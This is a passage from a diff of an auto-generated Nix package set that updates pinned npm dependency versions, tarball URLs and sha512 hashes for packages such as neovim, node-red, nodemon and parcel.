sources."fs.realpath-1.0.0" sources."fsevents-2.3.3" sources."get-caller-file-2.0.5" - (sources."glob-7.2.0" // { - dependencies = [ - sources."minimatch-3.1.2" - ]; - }) + sources."glob-8.1.0" sources."glob-parent-5.1.2" sources."has-flag-4.0.0" sources."he-1.2.0" @@ -85752,19 +85949,13 @@ in sources."js-yaml-4.1.0" sources."locate-path-6.0.0" sources."log-symbols-4.1.0" - (sources."minimatch-5.0.1" // { - dependencies = [ - sources."brace-expansion-2.0.1" - ]; - }) + sources."minimatch-5.0.1" sources."ms-2.1.3" - sources."nanoid-3.3.3" sources."normalize-path-3.0.0" sources."once-1.4.0" sources."p-limit-3.1.0" sources."p-locate-5.0.0" sources."path-exists-4.0.0" - sources."path-is-absolute-1.0.1" sources."picomatch-2.3.1" sources."randombytes-2.1.0" sources."readdirp-3.6.0" @@ -85807,27 +85998,29 @@ in sources."argparse-1.0.10" sources."asap-2.0.6" sources."asynckit-0.4.0" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."combined-stream-1.0.8" sources."commander-2.20.3" sources."component-emitter-1.3.1" sources."cookiejar-2.1.4" sources."debug-4.3.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."delayed-stream-1.0.0" sources."dezalgo-1.0.4" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."esprima-4.0.1" sources."fast-safe-stringify-2.1.1" sources."form-data-4.0.0" sources."formidable-2.1.2" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."gopd-1.0.1" sources."graphlib-2.1.8" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hexoid-1.0.0" sources."inherits-2.0.4" sources."js-yaml-3.14.1" @@ -85851,9 +86044,9 @@ in sources."qs-6.11.2" sources."readable-stream-3.6.2" sources."safe-buffer-5.2.1" - sources."semver-7.5.4" - sources."set-function-length-1.2.0" - sources."side-channel-1.0.4" + sources."semver-7.6.0" + sources."set-function-length-1.2.1" + sources."side-channel-1.0.5" sources."slash-3.0.0" sources."sprintf-js-1.0.3" sources."string_decoder-1.3.0" @@ -85875,10 +86068,10 @@ in neovim = nodeEnv.buildNodePackage { name = "neovim"; packageName = "neovim"; - version = "4.10.1"; + version = "4.11.0"; src = fetchurl { - url = "https://registry.npmjs.org/neovim/-/neovim-4.10.1.tgz"; - sha512 = "H46Jl2bh/LAFJsitv2MiIK3oCxvQnEK9t3efNMUUkKzsTYlLIikVxGWVk/vJnHzvxoHYBIRB/KHwPAOm+9UStg=="; + url = "https://registry.npmjs.org/neovim/-/neovim-4.11.0.tgz"; + sha512 = "8JJr7fr43xvldrrM0Y+Oij5JNdHrpi8x/EulEGexshMMWWGgBqL+QN2IbYkwWv8UyArQRbJnawqeuEH7OEu43g=="; }; dependencies = [ sources."@colors/colors-1.6.0" @@ -85905,20 +86098,20 @@ in sources."readable-stream-3.6.2" sources."safe-buffer-5.2.1" sources."safe-stable-stringify-2.4.3" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."simple-swizzle-0.2.2" sources."stack-trace-0.0.10" sources."string_decoder-1.3.0" sources."text-hex-1.0.0" sources."triple-beam-1.4.1" sources."util-deprecate-1.0.2" - sources."winston-3.3.3" - sources."winston-transport-4.6.0" + sources."winston-3.11.0" + sources."winston-transport-4.7.0" sources."yallist-4.0.0" ]; buildInputs = globalBuildInputs; meta = { - description = "Neovim client API and neovim remote plugin provider"; + description = "Nvim msgpack API client and remote plugin provider"; homepage = "https://github.com/neovim/node-client"; license = "MIT"; }; @@ -85958,7 +86151,7 @@ in }; dependencies = [ sources."@isaacs/cliui-8.0.2" - sources."@npmcli/agent-2.2.0" + sources."@npmcli/agent-2.2.1" sources."@npmcli/fs-3.1.0" sources."abbrev-2.0.0" sources."agent-base-7.1.0" @@ -85988,15 +86181,16 @@ in sources."glob-10.3.10" sources."graceful-fs-4.2.11" sources."http-cache-semantics-4.1.1" - sources."http-proxy-agent-7.0.0" - sources."https-proxy-agent-7.0.2" + sources."http-proxy-agent-7.0.2" + sources."https-proxy-agent-7.0.4" sources."imurmurhash-0.1.4" sources."indent-string-4.0.0" - sources."ip-2.0.0" + sources."ip-address-9.0.5" sources."is-fullwidth-code-point-3.0.0" sources."is-lambda-1.0.1" sources."isexe-2.0.0" sources."jackspeak-2.3.6" + sources."jsbn-1.1.0" sources."lru-cache-10.2.0" sources."make-fetch-happen-13.0.0" sources."minimatch-9.0.3" @@ -86033,7 +86227,7 @@ in sources."proc-log-3.0.0" sources."promise-retry-2.0.1" sources."retry-0.12.0" - (sources."semver-7.5.4" // { + (sources."semver-7.6.0" // { dependencies = [ sources."lru-cache-6.0.0" ]; @@ -86042,8 +86236,9 @@ in sources."shebang-regex-3.0.0" sources."signal-exit-4.1.0" sources."smart-buffer-4.2.0" - sources."socks-2.7.1" + sources."socks-2.8.0" sources."socks-proxy-agent-8.0.2" + sources."sprintf-js-1.1.3" sources."ssri-10.0.5" sources."string-width-5.1.2" (sources."string-width-cjs-4.2.3" // { @@ -86206,26 +86401,26 @@ in node-red = nodeEnv.buildNodePackage { name = "node-red"; packageName = "node-red"; - version = "3.1.3"; + version = "3.1.5"; src = fetchurl { - url = "https://registry.npmjs.org/node-red/-/node-red-3.1.3.tgz"; - sha512 = "NUihfCfMw9sPjiwe5pAHephFWW1QCv5v13CG/I6qtJ0wCSMtu5NKXrz53dmdnKJQsDMDOqipAMBcG2qmrVPmeA=="; + url = "https://registry.npmjs.org/node-red/-/node-red-3.1.5.tgz"; + sha512 = "Rz5dBK7AdsQZsbDbdScUriDZHYhUy03k66UGC4gPvWbDxfxQnMSWPhYmxux3wvtP/j+yg0D+rZA8nXVYNqksVA=="; }; dependencies = [ sources."@babel/runtime-7.23.9" sources."@mapbox/node-pre-gyp-1.0.11" - sources."@node-red/editor-api-3.1.3" - sources."@node-red/editor-client-3.1.3" - (sources."@node-red/nodes-3.1.3" // { + sources."@node-red/editor-api-3.1.5" + sources."@node-red/editor-client-3.1.5" + (sources."@node-red/nodes-3.1.5" // { dependencies = [ sources."cookie-0.5.0" sources."iconv-lite-0.6.3" sources."media-typer-1.1.0" ]; }) - sources."@node-red/registry-3.1.3" - sources."@node-red/runtime-3.1.3" - sources."@node-red/util-3.1.3" + sources."@node-red/registry-3.1.5" + sources."@node-red/runtime-3.1.5" + sources."@node-red/util-3.1.5" sources."@sindresorhus/is-5.6.0" sources."@szmarczak/http-timer-5.0.1" sources."@types/http-cache-semantics-4.0.4" @@ -86278,7 +86473,7 @@ in sources."bytes-3.1.2" sources."cacheable-lookup-7.0.0" sources."cacheable-request-10.2.14" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."cheerio-1.0.0-rc.10" sources."cheerio-select-1.6.0" sources."chownr-2.0.0" @@ -86312,7 +86507,7 @@ in ]; }) sources."defer-to-connect-2.0.1" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."delayed-stream-1.0.0" sources."delegates-1.0.0" sources."denque-2.1.0" @@ -86339,6 +86534,8 @@ in sources."end-of-stream-1.4.4" sources."enquirer-2.4.1" sources."entities-2.2.0" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-html-1.0.3" sources."etag-1.8.1" (sources."express-4.18.2" // { @@ -86370,18 +86567,18 @@ in sources."fs.realpath-1.0.0" sources."function-bind-1.1.2" sources."gauge-3.0.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-stream-6.0.1" sources."glob-7.2.3" sources."gopd-1.0.1" sources."got-12.6.0" sources."graceful-fs-4.2.11" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" sources."has-unicode-2.0.1" sources."hash-sum-2.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" (sources."help-me-3.0.0" // { dependencies = [ sources."readable-stream-3.6.2" @@ -86477,11 +86674,7 @@ in sources."node-addon-api-5.1.0" sources."node-fetch-2.7.0" sources."node-gyp-build-4.8.0" - (sources."node-red-admin-3.1.1" // { - dependencies = [ - sources."bcrypt-5.1.1" - ]; - }) + sources."node-red-admin-3.1.2" sources."node-watch-0.7.4" sources."nopt-5.0.0" sources."normalize-url-8.0.0" @@ -86554,9 +86747,9 @@ in }) sources."serve-static-1.15.0" sources."set-blocking-2.0.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."setprototypeof-1.2.0" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" (sources."split2-3.2.2" // { dependencies = [ @@ -86679,7 +86872,7 @@ in sources."har-schema-2.0.0" sources."har-validator-5.1.5" sources."has-unicode-2.0.1" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-2.8.9" sources."http-signature-1.2.0" sources."inflight-1.0.6" @@ -86767,9 +86960,9 @@ in sources."slasp-0.0.4" sources."slide-1.1.6" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."sshpk-1.18.0" sources."ssri-5.3.0" sources."string-width-1.0.2" @@ -86836,11 +87029,10 @@ in sources."binary-extensions-2.2.0" sources."brace-expansion-1.1.11" sources."braces-3.0.2" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."concat-map-0.0.1" sources."debug-4.3.4" sources."fill-range-7.0.1" - sources."fsevents-2.3.3" sources."glob-parent-5.1.2" sources."has-flag-3.0.0" sources."ignore-by-default-1.0.1" @@ -86856,7 +87048,7 @@ in sources."picomatch-2.3.1" sources."pstree.remy-1.1.8" sources."readdirp-3.6.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."simple-update-notifier-2.0.0" sources."supports-color-5.5.0" sources."to-regex-range-5.0.1" @@ -86922,11 +87114,11 @@ in sources."@types/cacheable-request-6.0.3" sources."@types/http-cache-semantics-4.0.4" sources."@types/keyv-3.1.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/normalize-package-data-2.4.4" sources."@types/responselike-1.0.3" sources."aggregate-error-4.0.1" - sources."all-package-names-2.0.843" + sources."all-package-names-2.0.859" sources."ansi-align-3.0.1" sources."ansi-escapes-4.3.2" sources."ansi-regex-5.0.1" @@ -86960,7 +87152,7 @@ in sources."get-stream-5.2.0" ]; }) - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."callsites-3.1.0" sources."camelcase-7.0.1" sources."chalk-5.3.0" @@ -87023,7 +87215,7 @@ in sources."default-browser-id-3.0.0" sources."defaults-1.0.4" sources."defer-to-connect-2.0.1" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-lazy-prop-3.0.0" sources."del-7.1.0" sources."dir-glob-3.0.1" @@ -87037,6 +87229,8 @@ in sources."emoji-regex-8.0.0" sources."end-of-stream-1.4.4" sources."error-ex-1.3.2" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-goat-4.0.0" sources."escape-string-regexp-5.0.0" (sources."execa-8.0.1" // { @@ -87047,7 +87241,7 @@ in sources."exit-hook-4.0.0" sources."external-editor-3.1.0" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" (sources."figures-3.2.0" // { dependencies = [ sources."escape-string-regexp-1.0.5" @@ -87063,7 +87257,7 @@ in sources."form-data-encoder-2.1.4" sources."fs.realpath-1.0.0" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-stream-8.0.1" sources."github-url-from-git-1.5.0" sources."glob-7.2.3" @@ -87084,11 +87278,11 @@ in ]; }) sources."has-flag-3.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" sources."has-yarn-3.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-7.0.1" sources."http-cache-semantics-4.1.1" sources."http2-wrapper-1.0.3" @@ -87115,7 +87309,7 @@ in sources."inflight-1.0.6" sources."inherits-2.0.4" sources."ini-4.1.1" - sources."inquirer-9.2.13" + sources."inquirer-9.2.14" (sources."inquirer-autosubmit-prompt-0.2.0" // { dependencies = [ sources."ansi-escapes-3.2.0" @@ -87419,22 +87613,22 @@ in sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" sources."scoped-regex-3.0.0" - (sources."semver-7.5.4" // { + (sources."semver-7.6.0" // { dependencies = [ sources."lru-cache-6.0.0" ]; }) sources."semver-diff-4.0.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."signal-exit-4.1.0" sources."slash-4.0.0" sources."slice-ansi-0.0.4" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."string-width-4.2.3" sources."string_decoder-1.3.0" sources."strip-ansi-6.0.1" @@ -87649,7 +87843,7 @@ in sources."@stoplight/yaml-ast-parser-0.0.48" sources."@types/es-aggregate-error-1.0.6" sources."@types/json-schema-7.0.15" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/urijs-1.19.25" sources."abort-controller-3.0.0" sources."acorn-8.11.3" @@ -87662,9 +87856,9 @@ in sources."ansi-styles-4.3.0" sources."anymatch-3.1.3" sources."argparse-1.0.10" - sources."array-buffer-byte-length-1.0.0" + sources."array-buffer-byte-length-1.0.1" sources."array-union-2.1.0" - sources."arraybuffer.prototype.slice-1.0.2" + sources."arraybuffer.prototype.slice-1.0.3" sources."astring-1.8.6" sources."available-typed-arrays-1.0.6" sources."balanced-match-1.0.2" @@ -87672,10 +87866,10 @@ in sources."brace-expansion-1.1.11" sources."braces-3.0.2" sources."cac-6.7.14" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."call-me-maybe-1.0.2" sources."chalk-4.1.2" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."cliui-8.0.1" sources."color-convert-2.0.1" sources."color-name-1.1.4" @@ -87683,20 +87877,22 @@ in sources."concat-map-0.0.1" sources."cross-spawn-7.0.3" sources."debug-4.3.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."dependency-graph-0.11.0" sources."dir-glob-3.0.1" sources."emoji-regex-8.0.0" sources."encoding-0.1.13" sources."enquirer-2.4.1" - sources."es-abstract-1.22.3" - sources."es-aggregate-error-1.0.11" + sources."es-abstract-1.22.4" + sources."es-aggregate-error-1.0.12" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es-set-tostringtag-2.0.2" sources."es-to-primitive-1.2.1" sources."es6-promise-3.3.1" sources."esbuild-0.19.12" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."esprima-4.0.1" sources."esutils-2.0.3" sources."event-target-shim-5.0.1" @@ -87705,19 +87901,18 @@ in sources."fast-glob-3.3.2" sources."fast-memoize-2.5.2" sources."fast-safe-stringify-2.1.1" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."find-up-5.0.0" sources."for-each-0.3.3" sources."fs-extra-11.2.0" - sources."fsevents-2.3.3" sources."function-bind-1.1.2" sources."function.prototype.name-1.1.6" sources."functions-have-names-1.2.3" sources."get-caller-file-2.0.5" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-stream-6.0.1" - sources."get-symbol-description-1.0.0" + sources."get-symbol-description-1.0.2" sources."glob-parent-5.1.2" sources."globalthis-1.0.3" sources."globby-11.1.0" @@ -87725,18 +87920,18 @@ in sources."graceful-fs-4.2.11" sources."has-bigints-1.0.2" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."http2-client-1.3.5" sources."human-signals-2.1.0" sources."iconv-lite-0.6.3" sources."ignore-5.3.1" sources."immer-9.0.21" - sources."internal-slot-1.0.6" - sources."is-array-buffer-3.0.2" + sources."internal-slot-1.0.7" + sources."is-array-buffer-3.0.4" sources."is-bigint-1.0.4" sources."is-binary-path-2.1.0" sources."is-boolean-object-1.1.2" @@ -87753,7 +87948,7 @@ in sources."is-stream-2.0.1" sources."is-string-1.0.7" sources."is-symbol-1.0.4" - sources."is-typed-array-1.1.12" + sources."is-typed-array-1.1.13" sources."is-weakref-1.0.2" sources."isarray-2.0.5" sources."isexe-2.0.0" @@ -87823,16 +88018,16 @@ in sources."queue-microtask-1.2.3" sources."readdirp-3.6.0" sources."reftools-1.1.9" - sources."regexp.prototype.flags-1.5.1" + sources."regexp.prototype.flags-1.5.2" sources."require-directory-2.1.1" sources."require-from-string-2.0.2" sources."reusify-1.0.4" sources."run-parallel-1.2.0" sources."safe-array-concat-1.1.0" - sources."safe-regex-test-1.0.2" + sources."safe-regex-test-1.0.3" sources."safe-stable-stringify-1.1.1" sources."safer-buffer-2.1.2" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."set-function-name-2.0.1" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" @@ -87842,7 +88037,7 @@ in sources."should-type-1.4.0" sources."should-type-adaptors-1.1.0" sources."should-util-1.0.1" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" sources."simple-eval-1.0.0" sources."slash-3.0.0" @@ -87860,7 +88055,7 @@ in sources."tr46-0.0.3" sources."tsconfck-2.1.2" sources."tslib-2.6.2" - sources."typed-array-buffer-1.0.0" + sources."typed-array-buffer-1.0.1" sources."typed-array-byte-length-1.0.0" sources."typed-array-byte-offset-1.0.0" sources."typed-array-length-1.0.4" @@ -87876,7 +88071,7 @@ in sources."whatwg-url-5.0.0" sources."which-2.0.2" sources."which-boxed-primitive-1.0.2" - sources."which-typed-array-1.1.13" + sources."which-typed-array-1.1.14" sources."wrap-ansi-7.0.0" sources."y18n-5.0.8" sources."yaml-1.10.2" @@ -87915,7 +88110,7 @@ in ]; }) sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/source-map-0.3.5" sources."@jridgewell/sourcemap-codec-1.4.15" @@ -88015,9 +88210,9 @@ in sources."@parcel/watcher-win32-ia32-2.4.0" sources."@parcel/watcher-win32-x64-2.4.0" sources."@parcel/workers-2.11.0" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" sources."@trysound/sax-0.2.0" sources."abab-2.0.6" @@ -88047,11 +88242,11 @@ in sources."brace-expansion-2.0.1" sources."braces-3.0.2" sources."browser-process-hrtime-1.0.0" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."buffer-from-1.1.2" sources."callsites-3.1.0" sources."caniuse-api-3.0.0" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" sources."caseless-0.12.0" (sources."chalk-4.1.2" // { dependencies = [ @@ -88102,11 +88297,11 @@ in sources."dotenv-7.0.0" sources."dotenv-expand-5.1.0" sources."ecc-jsbn-0.1.2" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."emoji-regex-8.0.0" sources."entities-4.5.0" sources."error-ex-1.3.2" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" sources."escodegen-1.14.3" sources."esprima-4.0.1" @@ -88183,7 +88378,7 @@ in sources."detect-libc-1.0.3" ]; }) - sources."lilconfig-3.0.0" + sources."lilconfig-3.1.0" sources."lines-and-columns-1.2.4" sources."lmdb-2.8.5" sources."lodash-4.17.21" @@ -88217,7 +88412,7 @@ in sources."picocolors-1.0.0" sources."picomatch-2.3.1" sources."pn-1.1.0" - sources."postcss-8.4.33" + sources."postcss-8.4.35" sources."postcss-calc-9.0.1" sources."postcss-colormin-6.0.2" sources."postcss-convert-values-6.0.2" @@ -88274,7 +88469,7 @@ in sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" sources."saxes-3.1.11" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."source-map-0.6.1" sources."source-map-js-1.0.2" sources."source-map-support-0.5.21" @@ -88300,7 +88495,7 @@ in }) sources."symbol-tree-3.2.4" sources."term-size-2.2.1" - (sources."terser-5.27.0" // { + (sources."terser-5.27.1" // { dependencies = [ sources."commander-2.20.3" ]; @@ -88401,7 +88596,7 @@ in sources."bunyan-syslog-udp-0.2.0" sources."busboy-1.6.0" sources."bytes-3.0.0" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."camelcase-5.3.1" sources."caseless-0.12.0" sources."clarinet-0.11.0" @@ -88427,7 +88622,7 @@ in sources."dashdash-1.14.1" sources."debug-2.6.9" sources."decamelize-1.2.0" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."delayed-stream-1.0.0" sources."depd-2.0.0" @@ -88442,6 +88637,8 @@ in sources."encodeurl-1.0.2" sources."entities-1.1.2" sources."errno-0.1.8" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-html-1.0.3" sources."esprima-4.0.1" sources."etag-1.8.1" @@ -88469,7 +88666,7 @@ in sources."gelf-stream-1.1.1" sources."gelfling-0.3.1" sources."get-caller-file-2.0.5" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."getpass-0.1.7" sources."glob-7.2.3" sources."gopd-1.0.1" @@ -88477,11 +88674,11 @@ in sources."handlebars-4.7.8" sources."har-schema-2.0.0" sources."har-validator-5.1.5" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."hat-0.0.3" sources."heapdump-0.3.15" sources."hot-shots-6.8.7" @@ -88591,14 +88788,14 @@ in sources."serve-static-1.15.0" (sources."service-runner-2.9.0" // { dependencies = [ - sources."semver-7.5.4" + sources."semver-7.6.0" sources."yargs-14.2.3" ]; }) sources."set-blocking-2.0.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."setprototypeof-1.2.0" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."simplediff-0.1.1" sources."source-map-0.6.1" sources."sprintf-js-1.0.3" @@ -88669,28 +88866,30 @@ in sources."balanced-match-1.0.2" sources."brace-expansion-1.1.11" sources."braces-3.0.2" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."chalk-4.1.2" sources."ci-info-3.9.0" sources."color-convert-2.0.1" sources."color-name-1.1.4" sources."concat-map-0.0.1" sources."cross-spawn-7.0.3" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."fill-range-7.0.1" sources."find-yarn-workspace-root-2.0.0" sources."fs-extra-9.1.0" sources."fs.realpath-1.0.0" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."glob-7.2.3" sources."gopd-1.0.1" sources."graceful-fs-4.2.11" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."inflight-1.0.6" sources."inherits-2.0.4" sources."is-docker-2.2.1" @@ -88714,8 +88913,8 @@ in sources."path-key-3.1.1" sources."picomatch-2.3.1" sources."rimraf-2.7.1" - sources."semver-7.5.4" - sources."set-function-length-1.2.0" + sources."semver-7.6.0" + sources."set-function-length-1.2.1" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."slash-2.0.0" @@ -88790,7 +88989,7 @@ in sources."buffer-fill-1.0.0" sources."buffer-from-1.1.2" sources."buffer-indexof-1.1.1" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."camelcase-2.1.1" sources."camelcase-keys-2.1.0" sources."chalk-1.1.3" @@ -88817,13 +89016,15 @@ in sources."decompress-response-3.3.0" sources."deep-equal-1.1.2" sources."deep-extend-0.6.0" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."dns-equal-1.0.0" sources."dns-packet-1.3.4" sources."dns-txt-2.0.2" sources."end-of-stream-1.4.4" sources."error-ex-1.3.2" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-string-regexp-1.0.5" sources."events-3.3.0" sources."external-editor-2.2.0" @@ -88840,18 +89041,18 @@ in sources."function-bind-1.1.2" sources."functions-have-names-1.2.3" sources."get-browser-rtc-1.1.0" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-stdin-4.0.1" sources."glob-7.2.3" sources."gopd-1.0.1" sources."graceful-fs-4.2.11" sources."has-ansi-2.0.0" sources."has-flag-3.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."hat-0.0.3" sources."hosted-git-info-2.8.9" sources."http-headers-3.0.2" @@ -88973,7 +89174,7 @@ in sources."read-pkg-up-1.0.1" sources."readable-stream-2.3.8" sources."redent-1.0.0" - sources."regexp.prototype.flags-1.5.1" + sources."regexp.prototype.flags-1.5.2" sources."repeating-2.0.1" sources."resolve-1.22.8" sources."restore-cursor-2.0.0" @@ -88988,7 +89189,7 @@ in sources."safer-buffer-2.1.2" sources."semver-5.7.2" sources."server-destroy-1.0.1" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."set-function-name-2.0.1" sources."signal-exit-3.0.7" sources."simple-concat-1.0.1" @@ -89003,9 +89204,9 @@ in }) sources."single-line-log-1.1.2" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."speedometer-0.1.4" sources."stream-buffers-2.2.0" sources."string-width-1.0.2" @@ -89122,7 +89323,7 @@ in sources."buffer-from-1.1.2" sources."bufferutil-4.0.8" sources."bytes-3.1.2" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."caseless-0.12.0" sources."chrome-dgram-3.0.6" sources."chrome-dns-1.0.1" @@ -89164,7 +89365,7 @@ in sources."dashdash-1.14.1" sources."debug-2.6.9" sources."decompress-response-3.3.0" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."delayed-stream-1.0.0" sources."depd-2.0.0" sources."destroy-1.2.0" @@ -89185,6 +89386,8 @@ in ]; }) sources."engine.io-parser-2.2.1" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-html-1.0.3" sources."etag-1.8.1" sources."events-3.3.0" @@ -89212,7 +89415,7 @@ in sources."fs.realpath-1.0.0" sources."function-bind-1.1.2" sources."get-browser-rtc-1.1.0" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."getpass-0.1.7" sources."glob-7.2.3" sources."gopd-1.0.1" @@ -89225,10 +89428,10 @@ in ]; }) sources."has-cors-1.1.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hat-0.0.3" sources."http-errors-2.0.0" sources."http-signature-1.2.0" @@ -89364,9 +89567,9 @@ in ]; }) sources."serve-static-1.15.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."setprototypeof-1.2.0" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."simple-concat-1.0.1" sources."simple-get-2.8.2" (sources."simple-peer-6.4.4" // { @@ -89594,7 +89797,7 @@ in ]; }) sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/source-map-0.3.5" sources."@jridgewell/sourcemap-codec-1.4.15" @@ -89603,13 +89806,13 @@ in sources."@nodelib/fs.stat-2.0.5" sources."@nodelib/fs.walk-1.2.8" sources."@remix-run/router-1.8.0" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" - sources."@swc/wasm-1.3.107" + sources."@swc/wasm-1.4.1" sources."@tailwindcss/forms-0.5.7" - sources."@tanstack/react-virtual-3.0.2" + sources."@tanstack/react-virtual-3.0.4" sources."@tanstack/virtual-core-3.0.0" sources."@trivago/prettier-plugin-sort-imports-4.2.1" sources."@tsconfig/node10-1.0.9" @@ -89621,10 +89824,10 @@ in 